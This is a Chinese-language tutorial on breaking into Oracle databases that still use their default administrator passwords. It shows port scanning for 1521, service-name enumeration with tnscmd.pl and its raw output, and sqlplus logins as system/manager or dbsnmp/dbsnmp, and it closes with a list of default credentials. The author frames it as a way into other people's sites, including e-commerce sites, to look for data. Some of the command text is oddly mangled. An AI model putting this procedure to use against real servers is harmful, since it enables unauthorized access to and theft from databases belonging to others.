Oracle默認(rèn)管理員帶來的數(shù)據(jù)庫安全隱患
Oracle默認(rèn)管理員密碼是固定的,這是為了安裝和調(diào)試的方便。Oracle數(shù)據(jù)庫中的兩個(gè)具有DBA權(quán)限的用戶Sys和System。筆者發(fā)現(xiàn)很多國(guó)內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫沒有更改這兩個(gè)用戶的密碼,其中也包括很多大型的電子商務(wù)網(wǎng)站,我們就可以利用這個(gè)缺省密碼去找我們感興趣的東西。
進(jìn)行測(cè)試前我們先來了解一些相關(guān)的知識(shí),我們連接一個(gè)Oracle數(shù)據(jù)庫的時(shí)候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數(shù)據(jù)庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNSlistener,它位于數(shù)據(jù)庫Client和數(shù)據(jù)庫Server之間,默認(rèn)監(jiān)聽1521端口,這個(gè)監(jiān)聽端口是可以更改的。但是如果你用一個(gè)tcp的session去連接1521端口的話,oracle將不會(huì)返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個(gè)perl程序了,它可以查詢遠(yuǎn)程 oracle數(shù)據(jù)庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務(wù)名,服務(wù)狀態(tài)和數(shù)據(jù)庫服務(wù)名,而且正確率很高。
理論方面的講完了,如果還有什么不懂的可以去查找相關(guān)資料?,F(xiàn)在開始測(cè)試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開放了端口1521的主機(jī),假設(shè)其IP是xx.xx.110.110,這樣目標(biāo)已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來查詢遠(yuǎn)程數(shù)據(jù)庫的服務(wù)名了,Tnscmd.pl的用法如下:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl
 - usage: tnscmd.pl [command] -h hostname
 - where "command" is something like ping, version, status,etc.
 - (default is ping)
 - [-p port] - alternate TCP port to use (default is 1521)
 - [--logfile logfile] - write raw packets to specifiedlogfile
 - [--indent] - indent & outdent on parens
 - [--rawcmd command] - build your own CONNECT_DATA string
 - [--cmdsize bytes] - fake TNS command size (revealspacketleakage)
 
我們下面用的只有簡(jiǎn)單的幾個(gè)命令,其他的命令也很好用,一起去發(fā)掘吧。
然后我們就這樣來:
- C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent
 - sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521
 - writing 91 bytes
 - reading
 - ._.......6.........?. ..........
 - DETION=
 - TMP=
 - VSNNUM=135286784
 - ERR=0
 - SERVICES_EXIST=1
 - .Q........
 - SERVICE=
 - SERVICE_NAME=ORCL
 - INSTANCE=
 - INSTANCE_NAME=ORCL
 - NUM=1
 - INSTANCE_CLASS=ORACLE
 - HANDLER=
 - HANDLER_DISPLAY=DEDICATED SERVER
 - STA=ready
 - HANDLER_INFO=LOCAL SERVER
 - HANDLER_MAXLOAD=0
 - HANDLER_LOAD=0
 - ESTABLISHED=447278
 - REFUSED=0
 - HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227
 - HANDLER_NAME=DEDICATED
 - ADDRESS=
 - PROTOCOL=beq
 - PROGRAM=/home/oracle/bin/oracle
 - ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"
 - ARGV0=oracleORCL
 - ARGS="
 - LOCAL=NO
 - "
 - .........@
 
從上面得到的信息我們可以看出數(shù)據(jù)庫的服務(wù)名為ORCL,然后我們就可以通過sqlplus工具來遠(yuǎn)程連上它了,用戶名和密碼我們用默認(rèn)的 system/manager或者是sys/manager(Oracle默認(rèn)管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個(gè)默認(rèn)用戶和密碼是隨版本的不同而改變的。如下:
- C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog
 - SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002
 - (c) Copycenter 2001 Oracle Corporation. All centersreserved.
 - SQL@@@@dayu@@@@connect system/manager@
 - (detion=(address_list=(address=(protocol=tcp)
 - (host=xx.xx.110.110)(port=1521)))
 - (connect_data=(SERVICE_NAME=ORCL)));
 
如果密碼正確,那么就會(huì)提示connected,如果不行,再換別的默認(rèn)用戶名和密碼。經(jīng)過筆者的嘗試一般用dbsnmp/dbsnmp都能進(jìn)去。當(dāng)然如果對(duì)方已經(jīng)把默認(rèn)密碼改了,那我們只能換別的目標(biāo)了。但是我發(fā)現(xiàn)很多都是不改的,這個(gè)就是安全意識(shí)的問題了。
附錄 Oracle默認(rèn)管理員密碼
1.
用戶名:sys
密碼:change_on_install
2.
用戶名:system
密碼:manager
3.
用戶名:scott
密碼:tiger
【編輯推薦】















 
 
 
 
 
 
 